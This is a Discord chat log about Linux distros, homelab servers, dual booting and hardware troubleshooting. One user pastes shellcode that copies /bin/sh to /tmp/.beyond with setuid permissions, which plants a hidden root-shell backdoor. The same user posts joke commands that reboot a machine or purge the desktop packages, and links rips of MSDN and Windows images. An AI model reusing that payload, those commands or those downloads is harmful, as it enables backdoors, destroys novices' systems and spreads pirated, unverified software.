linux-and-android

[sleek halo]

SHOOT

[fallow belfry]

error 404: does not exist

[brave isle]

How do you do this?

I want to bold it

[wanton snow]

sudo systemctl start reboot.target

[brave isle]

AHHHHH

[sleek halo]

shoot

[brave isle]

How do you do this lul

[wanton snow]

im not telling

[brave isle]

Fine

I'll dm sara gentoo

[sleek halo]

test

[brave isle]

SMH

Linux Distro: Don't give sara tutorials

[tight eagle]

Amazing

[wanton snow]

i mean shes learning the very basics rn

so ill guide a bit more

[brave isle]

Thanks for reminding me. I need to slide into the homework realm

[brave isle]

Oh god, i can already see installing solitaire

[sleek halo]

Im doing a Linux course required for college and its boring asf

[brave isle]

this will be

[wanton snow]

fr tho

i almost just want to gib her vps

and let her go wild in a little sandbox kek

[brave isle]

SMH imagine not setting up a DMZ

[slender mulch]

I dont even know how to play solitaire

[brave isle]

and allowing strangers to access your network ports.

[sleek halo]

i love that tho

I want everyone to access my ports

[wanton snow]

owo

cody is a naughty boy

[slender mulch]

uwu

[brave isle]

We were discussing DMZ in class the other day

[fallow belfry]

It was kinda sad in my intro to security class just how little the teacher knew, granted it was community college but still

[brave isle]

I was the only one who knew how

Teacher impressed i know CPU nm nodes KEK

[wanton snow]

intro to security: apt install fail2ban

[brave isle]

cause the rest of the class is literally afk

[wanton snow]

class completed

[sleek halo]

I know more than my teacher about servers and workstations but thats because its what I specialize in

[brave isle]

Imagine not setting up a Network switch

SMH

[sleek halo]

and he hasnt built a PC since FX era

[slender mulch]

what, like, the fact that intel still uses 14nm?

[brave isle]

Sara would plug network switch port 1 into port 1 of another switch

[wanton snow]

i know more than everyone alive about servers and workstations

[brave isle]

[wanton snow]

[fallow belfry]

No it was "class completed" when I defeated the physical security of the cabinet where the CCNA professor kept his server licenses

[brave isle]

No, I just know pretty much every date for most nodes memorized

[sleek halo]

why

[brave isle]

14nm

[brave isle]

Cause games boring

PC interesting

[sleek halo]

true

havent played a PC game in months

[brave isle]

And i plan to take networking next year

[sleek halo]

last game I played was Metro Last Light Redux and Minecraft

[brave isle]

And then Major in CS/Cyber Security/3d

Why can I see sara with a network switch

and then trying to stack a 1u fan into it.

[sleek halo]

Im taking abunch of classes next year

[slender mulch]

SILENCE WENCH

[brave isle]

[wanton snow]

u should buy vps from lililabs to test stuff on

[brave isle]

Good idea.

[sleek halo]

Java Programming A and B, Digital Logic Principles, Network Design, IT Essentials II

[brave isle]

lmao

Im currently taking

[wanton snow]

i accept crypto now

[brave isle]

"IT essentials"

[fallow belfry]

Java lmfao

[wanton snow]

[brave isle]

Lmao

lmfao

Cisco IT essentials

it so EZ

[sleek halo]

CCENT

[brave isle]

and 90% of the class has the webcams off

[wanton snow]

one of my most used tools is java based

[brave isle]

Thats their problem

[sleek halo]

I got a cisco switch that i only used once

I am learning Java mainly for robotics team

[slender mulch]

what packages do I need to dl

[brave isle]

SMH imagine not plugging in port 1 into another network switch

[sleek halo]

Learning Python on my own for machine learning

[brave isle]

and then plugging a strangers ethernet into the switch

[brave isle]

SMH imagine not learning C++

[sleek halo]

AH

[tight eagle]

You forgot lmbao :(

[sleek halo]

no thanks

[fallow belfry]

Yeah so are some of mine but that doesn't mean it's the best way to code that same program

[brave isle]

Yes thanks

[slender mulch]

what packages do I need to download

[sleek halo]

all

[brave isle]

^

[slender mulch]

what are they called

[brave isle]

Banana etcher

7zip

[wanton snow]

apt-get purge $(tasksel --task-packages desktop)

[brave isle]

Chrome

[slender mulch]

chrome gross

[brave isle]

Hey Lili you should read this

https://www.wikihow.com/Install-Debian-sid#:~:text=How to Install Debian sid 1 Method 1,version of Debian, Ubuntu, or most derivatives.

[wanton snow]

fr like the one thing i asked when i got it was "why is this in java"

but it works well

[brave isle]

My dad was an oracle java programmer for linux

Java nasty

[sleek halo]

I know someone who is a Java contracted programmer for Tesla

[fallow belfry]

Java would probably be closer to EoL if not for minecraft, change my mind

[brave isle]

Also how long has lili been attempting to teach sara this

[sleek halo]

He writes testing programs for whatever

[brave isle]

It is EOL, he got laid off

Linux divison in 2012 for San Francisco got laid off

[slender mulch]

lili hasnt been teaching me jack

[wanton snow]

tesla is a MESS lul

[sleek halo]

lmao

[wanton snow]

i literally taught you how to install the hypervisor, install the os, and basic package commands

[tight eagle]

Tesla is making a console for their cars

[brave isle]

Maybe because you haven't been writing notes down in class SMH

Ive been taking notes from Lili

[wanton snow]

i was hoping youd be able to figure some more stuff out smh

[brave isle]

and been learning lots

[wanton snow]

❤️

[slender mulch]

they already have the original Fallout games on there

[tight eagle]

So you can be a gamer while you run down pedestrians 😎

[slender mulch]

I DONT KNOW WHAT I NEED TO FIGURE OUT

[wanton snow]

find a fun project

[brave isle]

READ THE WIKIHOW I SENT U

[fallow belfry]

It's "meant for passengers" though lol

[wanton snow]

https://github.com/awesome-selfhosted/awesome-selfhosted

[slender mulch]

I DONT HAVE ANY DMS FROM YOU, DREAD!

[wanton snow]

what looks fun in here

[brave isle]

https://www.wikihow.com/Install-Debian-in-Virtualbox

[brave isle]

Here ya go

[sleek halo]

https://www.netacad.com/courses/os-it/ndg-linux-essentials

take this course

[brave isle]

Im taking this

[sleek halo]

I need to take A+ exam but im lazy

[brave isle]

SMH it doesn't even discuss about PCIE gen4

Its so out of date.

[wanton snow]

i literally have like zero certs lul

[brave isle]

[wanton snow]

i should probs speedrun like 12 certs in a week

[sleek halo]

I also need to take MTA Security and Networking but i dont feel like it

[brave isle]

AHHH

[wanton snow]

i just do hardware stuff

[brave isle]

I sent sara debian tutorial

[sleek halo]

Only did OS Fundementals

[brave isle]

she not reading it

[wanton snow]

so im apple cert, dell cert, HPE cert, lenovo cert

but no software

[brave isle]

I plan to take every cert

[wanton snow]

certmaster

[brave isle]

IT eseentials and hardware is garbo

Not even up to date

SMH

where is 7nm transistor design

[sleek halo]

Comptia A+ also has some outdated info

[brave isle]

or Q20'2 Lithography

SMH

[sleek halo]

Ever heard of skillsusa

[brave isle]

"A customer's computer is not responding to a DCHP server, what do you do"

[sleek halo]

won first place in SkillsUSA computer maintenance competition

[brave isle]

[sleek halo]

I won a $2000 scholarship

[wanton snow]

lol nice

[brave isle]

So you won a 2000$ scholarship

[sleek halo]

it was super easy

[brave isle]

But you haven't leveled up to elite yet

You should get on that.

[sleek halo]

yes

I am trying

[slender mulch]

alright, how do I safely close out of this VM

i need to go

[brave isle]

alt f4

[sleek halo]

ALr+F4

shoot

[slender mulch]

alright

[wanton snow]

sara has given up

[sleek halo]

which Hypervisor?

[brave isle]

I think we need to teach sara hyperv

[sleek halo]

You should be able to suspend it

[wanton snow]

she on that mf v b o x

[slender mulch]

no I just need to go

[wanton snow]

oofe

[sleek halo]

VMWare Workstation ❤️

[brave isle]

On a sunday

[wanton snow]

vbox is more dummie friendly

[brave isle]

SMH

imagine not having 2tb of GEN4 SPace

[wanton snow]

and ha imagine not using esxi

[sleek halo]

I miss my esxi server

[wanton snow]

make new one

[brave isle]

Imagine not using cortana

[sleek halo]

I might

[wanton snow]

ill gib key

[sleek halo]

I most likely will build a new server

[wanton snow]

[brave isle]

I should purchase a 1u server

saw one for 200 on ebay

used

[sleek halo]

Tower server :)))

[wanton snow]

oh dear

[sleek halo]

My current server is ass

[wanton snow]

2u server

[brave isle]

dual xeons

[wanton snow]

[brave isle]

[sleek halo]

Server macguyver

[brave isle]

E 2560.

lol

[wanton snow]

u cant say that and not drop specs

[brave isle]

Its not ass

atleast your not using cyrix

SMH

[sleek halo]

ooh i have a Cyrix CPU

[sleek halo]

i have that one actually

[brave isle]

75MHZ bus

[sleek halo]

literally exact same one

[brave isle]

[wanton snow]

cody what r specs

[brave isle]

Don't make me

[brave isle]

How is that a server

[sleek halo]

great question

its a temp server

[wanton snow]

anything can be a server

[brave isle]

look at your picture

[sleek halo]

oh god you should see the boot drive

its sad

[wanton snow]

not a fan of the wd blues tho

[sleek halo]

its a 500gb SSHD with the sata connector snapped off

[brave isle]

Eww.

[sleek halo]

so i shoved it in a 2.5 to 3.5 converter and it works

[brave isle]

NVME Gen4>All

[wanton snow]

omg

[sleek halo]

PSU does not fit so i have to feed the power cable through the hole in the back

[wanton snow]

[sleek halo]

it works though!!!

[brave isle]

What psu is that

[wanton snow]

cody get an actual server i stg

[brave isle]

Looks like a P-GM

[sleek halo]

some 400w from a IBM server

[brave isle]

ISTG your gonna die

[sleek halo]

Delta

[brave isle]

IBM

[sleek halo]

LMAO

[wanton snow]

or just use lililabs vps to host ur data

[brave isle]

IBM hasn't been in pc space since like 90s

LIL

[wanton snow]

[brave isle]

LUL

[wanton snow]

they still make servers

[sleek halo]

I have two MC servers and all my data on this server :)))))

[wanton snow]

you are dumb of ass

[brave isle]

servers

[wanton snow]

[brave isle]

but not pc space

Consumer space

[sleek halo]

those WD Blues i got for free

1tb drives

[wanton snow]

did u read where he said he pulled it from an ibm SERVER

[brave isle]

lul.

While we are at it.

[sleek halo]

it was a LGA771 server

[brave isle]

Watching sara attempt that hurted.

And I thought i was bad at ubuntu

[sleek halo]

12gb of RAM, 2200G CPU

some random GT 210 i think

[brave isle]

smh

not even LGA775

core 2 duo smh

[sleek halo]

I have a T5400 with 32GB FBDIMM and X5470s

[brave isle]

gt 210

or 610

or 710

or 910

[sleek halo]

8 core 8 thread workstation from 2009

[brave isle]

[sleek halo]

was $10,000 back in 2009

prob gonna wait for Alder Lake for a new server

Or wait for next xeons

[brave isle]

hmm wonder if i should try to clock my 3700x to 5ghz

[wanton snow]

have literally met like 2 people who needed more power than v2 xeons could provide

[sleek halo]

crying for help

[ripe knot]

Zagdrath#5577 has been warned

Reason: Bad word usage

[sleek halo]

i forgot no bad wording

I dont need the power, but I like wasting money

[fallow belfry]

12GB memory?

[sleek halo]

its all I had and I needed it for MC servers lmao

[brave isle]

SMH

Please don't tell me your running asyncronous dual channel

[sleek halo]

Some random 2666MHz Gskill 4GB stick and a 3000MHz 8GB LPX stick

[brave isle]

[brave isle]

That actually hurts.

[sleek halo]

oh i know

[wanton snow]

win server

[brave isle]

suprised you haven't bsod

[sleek halo]

it really hurts me

[brave isle]

SInce if you use mixed dies together

it can go wack lol

[wanton snow]

cody just buy r720

[sleek halo]

no

[wanton snow]

or r520

[brave isle]

Hynix M die and B die can crash yourpc

together lol

[sleek halo]

tower server is better for my room

[wanton snow]

ur gonna overpay out the nose then

[sleek halo]

oh i know

[wanton snow]

u can always get cheap dedi

might not be bad idea

[sleek halo]

Im gonna get a Define case with all noctuas

[wanton snow]

or cheap vps

[sleek halo]

nah

This gonna be a storage server also

[wanton snow]

ahhh icic

what u gonna run on it?

[sleek halo]

great question most likely Ubuntu server

not sure though

[wanton snow]

if i may suggest

[sleek halo]

Like I said I am waiting to see what new CPUs come out

[wanton snow]

run esxi, pass through a raid card with your storage drives

run truenas on a vm after giving it the raid card

[brave isle]

lol, wonder if I should do raid 0 nvme with no striping lol

Ah yes, only double chance of drive failure.

[wanton snow]

then you can run vms on the remaining cores/ram without missing out on any performance

[sleek halo]

epic

[wanton snow]

and yeah i never use modern cpus for stuff like this

literally zero need

im very heavy poweruser and my e5 v2 cpus are honestly perfectly fine

i hosted some gaming vms on threadripper and i have a few game servers on ryzen

for everything else there is literally zero need to have any modern cpu

u just get scammed on ram pricing and scammed on $/thread

[sleek halo]

pretty much

[wanton snow]

so its p stupid to go above e5 v2

[cursive oar]

where should i go to download linux

[tight eagle]

Go to Linux store

[wanton snow]

depends which distro

[cursive oar]

i dont know im new to linux and want to try it out

[tight eagle]

My first Linux distro was puppy Linux on an Acer aspire one

You would choose a distro, then look for their website thingy and you'll find where to download from there

[cursive oar]

ok

[tight eagle]

Wikipedia should have the official website in their Wikipedia article

[cursive oar]

what do i search to make it come up

like what keywords

[tight eagle]

If you want to download Ubuntu, you search Ubuntu

Lol

[wanton snow]

lmao

that reminds me i should put linux isos on my cdn

[night charm]

http://mirrors.acm.wpi.edu/archlinux/iso/2021.02.01/

:)

[wanton snow]

https://files.dog/MSDN/

just need to make a linux ver

[slender mulch]

Try it out in a VM like I did

[wanton snow]

because that went so well

[slender mulch]

Don’t use it as a desktop environment unless you are lili

[slender mulch]

Stfu

[wanton snow]

best way to learn is to format the entire pc

and only use linux

you learn fast

[slender mulch]

Too fast

Especially when zoom needs a GUI and I have school

[brave isle]

How do I dual boot Kali Linux?

[wanton snow]

lmfaoooooo

skid moment

[fallow belfry]

https://www.kali.org/docs/installation/

[wanton snow]

parrot is better anyways

waaaah i want my debian to come with more bloat and some pentest tools!!!!!

kali is literally made so you dont have to configure a system that youre just gonna wipe anyways

not meant to actually be booted into constantly

[kind panther]

Linux mint gang

[wanton snow]

[fallow belfry]

Mint is debian tho, just has a gui which you despise

[wanton snow]

gui is just bloat

id prefer to run normal deb anyways

and just install a gui if i need one

[night charm]

idk all of this just sounds like "im not smart enough to use arch"......

(its funny because i barely know how to effectively use arch without google searching every new concept)

[frank steeple]

You can try out all sorts of linux distros online at https://distrotest.net/. Just note that things will be a bit slow since it's streaming remotely from a low power Virtual Machine

[frank steeple]

TL;DR you don't. Kali Linux you're almost certainly going to want to run as a VM, not a full install

[humble kindle]

Or just as a live boot

[cursive oar]

is linux mint better than ubuntu

or are they all the same

[wanton snow]

kali is basically the liveboot os

[humble kindle]

https://www.youtube.com/watch?v=wX75Z-4MEoM

[wanton snow]

vbox

🤮

[humble kindle]

I like vmware myself

[wanton snow]

just buy enterprise hw and use esxi

pin that instead

[wanton snow]

there isnt really a "better" its just whatever you like using more

[slender mulch]

Forks pins things too much

[wanton snow]

like mint is based on ubuntu

which is based on deb

https://tenor.com/view/avengers-failure-bring-you-where-did-that-back-to-me-gif-16197605

deb supreme cool kid os

[wanton snow]

lmaooo

tfw u just swap wifi card for one with drivers

[night charm]

broadcom-wl good enough for me

[undone lichen]

my wifi driver is an ethernet cable

:bean:

[wanton snow]

based

[finite cargo]

What could cause this to happen on my x240?

It works great usually, but it seems that at random times when reopening the lid it goes into that boot loop state.

I've updated the BIOS to the latest available from Lenovo. I also recall this happening way back in 2014 when it had Win8 on it, so I doubt it's a Linux issue (running Pop OS). I've installed ACPI from apt jic but it hasn't made a difference.

This problem has two versions:
A: rhythmic fans blasting + backlight + power light (as seen in video). The boot attempts happen at ~36bpm. Stuck like this until both batts are disconnected.

B: blasting fans + backlight for two or so secs, then everything off but power light stays on. Can power off by holding power button.

It'd be awesome if I could fix this as this laptop would be great for school if not for the constant gamble of losing all my work when I put it away, and having to carry a screwdriver or paperclip around to dc the internal battery.

I've been told it could be a RAM issue, but I want to be sure before ordering new RAM as it is quite expensive for my budget. (30€ or so)

[wanton snow]

run memtest on it

chances are either dead ram or dying board

does it make any beeps @finite cargo

http://www.thinkwiki.org/wiki/Error_Codes_and_Beep_Codes

[finite cargo]

No sounds at all unfortunately.

[wanton snow]

rip

[finite cargo]

Just repeatedly restarts.

[wanton snow]

you taken one stixk out?

[finite cargo]

I'm away from home and I forgot to bring a USB stick with me 😅. I've run sudo memtester within Pop OS and it hasn't found anything, but I need to try memtester86+ when I get home in a week.

[wanton snow]

pop a stick out

[finite cargo]

There is only one RAM slot on the x240. It's populated with a 8GB 1600MHz stick.

[wanton snow]

oh is there?

[finite cargo]

I don't have any other smol RAM I could replace it with, but I could try ordering new RAM of the same size/speed (it's the best that the x240 can handle)

[wanton snow]

shouldnt be too expensive

[finite cargo]

Eh. Haven't found any good prices that ship to France and don't take 2 months like aliexpress..

(student budget, I'm poor)

This looks reasonable-ish: https://www.ebay.fr/itm/174658563212

[wanton snow]

rested on bed

if ur poor then run memtest

if memtest finds nothing it might be board

rip lol

[finite cargo]

#linux-and-android message

[wanton snow]

im saying wait a week

[finite cargo]

fair enough lol

Any clue if Pop OS has memtest86 built in?

Not having much luck googling, but I'm a Linux noob so 🤞

[cedar steeple]

i thought it said linus

[ashen notch]

https://steamcommunity.com/app/353380/discussions/10/3106892760562833187/

[frank steeple]

It doesn't come preinstalled, but it should be in the "pop shop"

At least I don't think it comes preinstalled

It might

[wanton snow]

the pop shop is so cute

[wanton snow]

https://explainshell.com/

@humble kindle pin it nerd

[finite cargo]

So I ran memtest86+ (installed manually as BobLaserShark suggested) and it freezes at 14% of the first pass..

By "freeze" I mean that I can't hit ESC to exit or use any of the hotkeys. I have to hard power off.

[patent isle]

Was about to write a whole message to ask for help for something that didn't work at 3am but does now ... at 1:30pm, seems like I just lacked patience.

[wanton snow]

rip ram

[finite cargo]

It's not the slot, it's the RAM itself?

If so, phew :D

[wanton snow]

probs

[patent isle]

Hi, I'm currently trying to find a Linux 32bit dist that can run on a removable device and work fine on an old computer (~2007). I'm doing that for my parents (they use it mostly for Firefox, Word and transfering files to external HDD).
The PC is powered by a Pentium dual-core CPU @1.80 GHz (presumably the E2160) and 3 GB of RAM. It has Windows 7 (it was originally sold with Vista) installed on its HDD (presumably an IDE, according to the BIOS).
I've tried :

MX Linux 19.3_386 : couldn't failed to display anything after launching (black screen -> I had to power the PC off the hard way)
Lubuntu 18.04.5 desktop i386 : same thing
Slax 32bit 9.11.0 : succeeded on start, but unable to switch the system language to French (my Dad does not understand English and I think my Mom would get p***** to have the system in English), and I couldn't find out how to set it up properly and display files on the Desktop (which my Dad would absolutely want).

Also, I've tried launching MX and Lub' with both, the live install medium and the device on which I proceeded to a complete install, and I needed to push the Power Off button in both cases.

Any suggestions would be greatly appreciated ^^

[wanton snow]

puppy @patent isle

https://files.dog/OS_Images/Linux/Puppy/

[patent isle]

Ok, I'll try this one too I guess, thanks :D

[mortal totem]

Woof woof

[undone lichen]

🐕

bork

[patent isle]

https://tenor.com/view/dog-hello-cute-puppy-hi-gif-17637570

[night charm]

whats with all this js slander i love javascript 😩

[wanton snow]

zach pin the thing i told forks to pin

release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;```

wacky command

[frank steeple]

Lili no

[austere garnet]

is linux worth it for gaming?(ik that is a general statement just seems like the rigth question to ask if that makes any sense)

[frank steeple]

Almost, depends on what games you play

[austere garnet]

what type of games do you play?

ik anti cheat type games are not very good for linux. heard they do not work well

[frank steeple]

Depends on the anticheat

[austere garnet]

siege?

[frank steeple]

Siege is a hard nope

[austere garnet]

ya

[frank steeple]

There's been progress, and you can run t hunts and sometimes custom games, but online games are currently blocked

[austere garnet]

oof well i usually do online games. mostly shooters. like overwatch, valorant stuff like that where anti is always there. although overwatch i have heard runs well on linux. does destiny 2 run well on linux?

[frank steeple]

Lemme check

Current status is borked

[austere garnet]

oof

well thanks for you input

[frank steeple]

What I do is I have Linux and windows installed, so I can use Linux for most things and then boot to windows when I feel like playing a game that requires it

[austere garnet]

well i heard that requires both a amd specific card for input and then if you want a nvidia card to play the game. and you would do it through a vr

vm*

[frank steeple]

No, nvidia works perfectly fine with linux

[austere garnet]

gimme a sec

oh

[austere garnet]

what are the way you use to boot into windows and linux

do you dual boot

[frank steeple]

Take the https off the beginning of the link before you send it

Yup, dual boot

[austere garnet]

ah

www.youtube.com/watch?v=h7SG7ccjn-g&ab_channel=SomeOrdinaryGamers

its a video for how he built a computer using linux as his primary os and then booting windows in a vm

the amd card works as a output source. and the nvidia card is used for the vm

[wanton snow]

linux more like bad

[frank steeple]

Ah, okay. That is one way to handle things, but it's a bit more complicated than is needed

lili

[wanton snow]

i only run nonfree code

[frank steeple]

https://tenor.com/view/firefly-serenity-malcolm-reynolds-captain-tightpants-swear-gif-4814861

[austere garnet]

how difficult is dual booting?

[frank steeple]

Easy

When you install Linux, you press the button that says you want to dual boot

[austere garnet]

there a video or tutorial that you think would help me set it up?

[frank steeple]

Yup

[austere garnet]

alright

[wanton snow]

running a vm is less of a compatibility layer and more just brute forcing it

[austere garnet]

ah

[frank steeple]

I would recommend looking at Linux Mint, Elementary, or Pop_OS to start out with

[austere garnet]

alright

i was thinking pop os

[wanton snow]

https://files.dog/OS_Images/Linux/

[austere garnet]

for dual booting. can both os's boot off one harddrive?

[wanton snow]

[frank steeple]

Pop_OS is great, the main problem for me is at least last time I checked the dual boot setup was a bit more manual

Yup, two systems on one drive works fine

[austere garnet]

alright

sick

thank you for the files lili

[wanton snow]

:))

[frank steeple]

Here's how my drive is partitioned

@austere garnet Just get them from the official source

[austere garnet]

ya

[frank steeple]

They usually have instructions there too

https://pop.system76.com/

[austere garnet]

there a video on how to set it up or is it quite easy without one ?

[frank steeple]

It's pretty straight forward, but I'll go and find a video

[austere garnet]

alright thanks

[wanton snow]

shut up thats my cdn

[frank steeple]

The hardest thing is honestly getting the install USB set up

[wanton snow]

[austere garnet]

alright

[frank steeple]

Yeah, where are the hashes?

[wanton snow]

hashes are for dumys

[frank steeple]

Never download an iso that doesn't have a hash listed

[wanton snow]

ok loser

[austere garnet]

have not downloaded anything from it so we good 😄

[wanton snow]

i literally host the files its fine

[frank steeple]

Her CDN is fine, she's just dumb and doesn't actually give the integrity checks

[night charm]

i have an iso of my ct scan
completely irrelevant information

[wanton snow]

u can find them urself

[frank steeple]

It's better to have them in the same place, so you can be sure it's for the same version and copy

[austere garnet]

do you need to gpus for dual booting or just one?

[frank steeple]

Just one

[austere garnet]

cool cool

[frank steeple]

https://www.youtube.com/watch?v=EXZ7_DVxztQ

[night charm]

need multi gpu for kvm

dual boot no

[wanton snow]

yes but i only give this to somewhat trusted people so people who rip open dirs avoid mine since its not hashed and they dont know me

[austere garnet]

alright thank you

@frank steeple

[wanton snow]

i dont want someone ripping all 6th of it

6tb

[frank steeple]

It's a few byte file that can be auto generated

[wanton snow]

im saying if i send this to rando theyll trust it cause its from me

some nerd on r/opendirectories isnt

[frank steeple]

The trust issue is with the internet connection more than you

I've had big files get corrupted on downloads before, that's the main reason to check the hash

[wanton snow]

is good traffic

[frank steeple]

On your end, sure

[wanton snow]

people with bad internet dont deserve my files

[frank steeple]

w/e

[wanton snow]

the linux dir is mostly for me

but ppl go stupid go crazy for /msdn

[frank steeple]

for i in `find /path/to/array -size +512M`; do 
  if [ -e $i.sha ]; then 
    echo "Hash already exists for $i"
  else 
    echo "Generating hash for $i";
    sha256sum $i >$i.sha
  fi
done

There ya go. Automatically generates a hash for all file larger than 512MB

Note that it doesn't handle files that have been modified since the hash was last generated, but that would be pretty easy to add

[wanton snow]

i guess ill do that

im behind cf anyways so its not like itll kill bandwidth

[frank steeple]

Having hashes?

[wanton snow]

my point is using no hash as a deterrent

[frank steeple]

Ah

lol

[wanton snow]

cause i used to get hundreds of tbs of traffic

[frank steeple]

I was gonna say, these files aren't going to take up very much bandwidth

[wanton snow]

yea lol

also ill run your command

[frank steeple]

Automation ftw, right?

[wanton snow]

yea baby

cloudflare will just have to deal

[patent isle]

Huh, back again with another problem, I created a BionicPup32 8.0 USB medium, but I would get a black screen with static cursor on startup, no matter which option I would use after the boot was over (the "Severe graphics problems" thing, the "no-graphical desktop" thing then executing the xwin command and all...).
Xenial 7.5 and Slacko 7.0 could start, but I can't connect to the Internet, no interface, no signal. It seems like my Network driver is not recognized, and the tools provided...s***. I've tried the "probe all modules" option, but it does nothing more than test all the modules in a given list and requires the user to switch to next module manually (it doesn't seem able to assert whether the module is the good one or not based on if it detects a wifi signal or not). Also, I only have 2 USB ports, one is occupied with the USB medium, and the other one had the mouse plugged in but now has my phone (in USB tethering - which does not work either btw) and the trackpad does not seem not be a thing to Pup.
Does anyone have an idea of what's going wrong ?

[frank steeple]

You're sure you're getting the 32 bit iso?

[patent isle]

Yeah.

But nm, I just dropped it.

I got another problem now.

Wifi stopped working for no reason at all on my Kubuntu system.

Kk, I'm done with Linux, I just remembered why I always sticked with Windows 🤢

[frank steeple]

It's definitely very strange issues

[undone lichen]

linux haves big learning curve

once you overcome it, it becomes easy to use

[frank steeple]

Yeah, it always sucks for the people that start out on the weird hardware 😢

[patent isle]

Troubles that do not observe any kind of logic as of when they start happening with no solution found on the Internet likely to work at all, I'm just surfing on a flatline.

[frank steeple]

Oh, there's a reason in there. It's likely there's some other old piece of hardware in there that doesn't quite have a working driver

[patent isle]

My computer is 2 months.

(Powered by 11th Gen intel.)

And it worked before.

[frank steeple]

Weren't you the person trying to install on an old 32bit laptop?

[patent isle]

It's...complicated.

[frank steeple]

Okay

[patent isle]

I did try installing a 32bit linux for my parents' old computer.

But I also have been trying to install a Kubuntu system on an external SSD so I can plug it on my various PCs.

[frank steeple]

That's a fun idea

[dusk kernel]

I'm stating this here so I can be held accountable. LOL I'm going to reinstall Linux on my old Thinkpad T21, and that's 32-bit.

[frank steeple]

Tricky to get right, but a useful tool to have when you do

[dusk kernel]

I've installed Linux on a bootable thumbdrive. It's very usable if you have USB3.

[frank steeple]

Yeah, there's a difference though between a live boot disk and a full system boot disk that can also be used for storage

[patent isle]

Tricky, I wouldn't say so... It took me several attempts to get it right. Trying different versions, tweaking the BIOS, using different methods when using the partitionning tool during the installation process, switching between MBR/GPT in Rufus, doing a GPT installation and then using the live USB to repair GRUB to force it install on the right device...

It took me some time.

It worked on both my laptops, but Wi-Fi stopped working as of now.

[frank steeple]

Does lspci detect the device?

[dusk kernel]

I don't mean a "Live boot disk"... I meant a full system. It's definitely tricky to get everything right. Thanks, UEFI. heh heh

[patent isle]

And since I have two USB A and one USB C (also used for charging on my new Lenovo laptop), I don't want to have my phone always plugged on my computer to have Internet connexion on it.

[frank steeple]

Yeah

[patent isle]

And the ls- things didn't seem to find anything.

[frank steeple]

What is the output of lspci | grep -i network

[patent isle]

I got the "Network Controller" thing, and the "Ethernet Controller" thing, but nothing about "Wireless Controller".

And the Kubuntu-drivers-manager wouldn't find any additionnal driver to install.

[frank steeple]

Two separate items?

[patent isle]

Yep, they were separate.

[frank steeple]

What was the exact text?

[patent isle]

I can't tell now, I switched back to Windows.

[frank steeple]

Ah

[patent isle]

There are a lot of things I want to do, Linux was a first, but I got sick of trying to fix everything.

Now I just want to port a Minecraft mod back to 1.7.10 XD

[frank steeple]

Fun

[patent isle]

I want to start a new game. I hoped I could game on Linux since it's not a memory hog like Windows, but...

I can still do it on Windows (i7 1165G7 and 16GB of RAM can do the job).

[frank steeple]

Yup

[wanton snow]

@frank steeple should i open the floodgates and hash /MSDN

or get hashes for*

[frank steeple]

Is this MSDN as in news?

[wanton snow]

as in the microsoft dev network

i host a rip of it

[frank steeple]

Mostly text though, right?

[wanton snow]

https://files.dog/MSDN/

no

check it oute

[frank steeple]

Ah

[wanton snow]

ctrl f is your friend

[frank steeple]

Yeah, might as well

[wanton snow]

its what people always rip from my dir lol

[undone lichen]

do you not have a copy of enterprise 2019 LTSC?

or is it somewhere else

also whats stopping you from having a similar site where your flacs are instead of having people bother you for them?

[wanton snow]

dmca trolls

[undone lichen]

oof rip

[wanton snow]

andi should have ltsc

[austere garnet]

can you dual boot from two hardrives?

is it the same process as setting up from one hard drive?

[fallow belfry]

You can, and you can also either have the bootloader on one drive that points to both OS or have 2 separate bootloaders, one on each drive, and you select which one you want to use by selecting boot drive from BIOS menus.

[austere garnet]

so if you set up boot loader on a linux drive

[fallow belfry]

Currently using option 2 myself, Linux as my main OS and Windows for gaming

[austere garnet]

can you point it to windows with one boot loader

thats what i plan to use mine for

[fallow belfry]

You can do that, GRUB bootloader (which comes with most Linux distros) will scan and add all the OS that it detects to its boot list.

[austere garnet]

alright thanks

i want to start using linux for my man driver then windows for gaming

seems so much better

[fallow belfry]

Yeah Linux just runs better in my opinion, once you get it set up right. Faster, less wasted resources.
Windows is only better at game compatibility at this point.

[austere garnet]

yes i completely. anyways thanks for your help :)

[wanton snow]

weak just use a vm with passthrough

[frank steeple]

Games can be unhappy about that

[wanton snow]

only the bad ones

[frank steeple]

Which are pretty much the ones that don't run on Linux and you need windows to run, so what's the point

[wanton snow]

just used parsec to connect to one of my servers through like 5 wireguard tunnels

ping is intense

goes from my amsterdam datacenter to la then back to amsterdam

then back to LA where the server is colo

[wanton snow]

avoiding linux wherever possible

[frank steeple]

https://tenor.com/view/lotr-so-you-have-chosen-death-chosen-death-lord-of-the-rings-gif-15767548

You know, I should dual boot windows and android, cause why not

[fallow belfry]

Android has x86 builds, so as long as you can fix the drivers up it's possible

[wanton snow]

https://files.dog/OS_Images/Windows/Consumer/Windows 10/LTSC/2019/

[undone lichen]

v nice

[wanton snow]

[placid current]

So having trouble installing Debian keep trying to use full install but keep getting issue of no internet connection. Just built a new computer with msi mag b460m mortar motherboard. Have ethernet cable connected but not able to connect to internet. No idea what drivers to choose? Any advice

[wanton snow]

https://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/

[brave isle]

I'm late but another way to do it is set up virtual machines from linux but some games have their anti cheat go off when a VM is in their game

[burnt schooner]

Does anyone here use selfhosted Bitwarden? I just set it all up yesterday and i cant seem to get the SMTP forwarding thing to work...

[wanton snow]

honestly im the biggest selfhosting advocate out there

and dont selfhost your pw manager

lol

just buy premium for like a year

its like 80 cents per month

[burnt schooner]

I'm already running 400w worth of servers in my basement it doesn't matter

[wanton snow]

im running more

[burnt schooner]

also i don't plan on hosting it for myself, i'll give the resource to friends and migrate all of my family to it

[wanton snow]

trust me

no thats worse

they keep their stuff secured

you just have a homelab

its ot worth it when its everyones logins

not*

unless you have everything perfectly secured and have had it audited

i wouldnt risk it

[burnt schooner]

I run full disk encryption and it's on it's own KVM machine behind a reverse proxy

it's secure enough for everybody i know

[wanton snow]

im just strongly advising against it lol

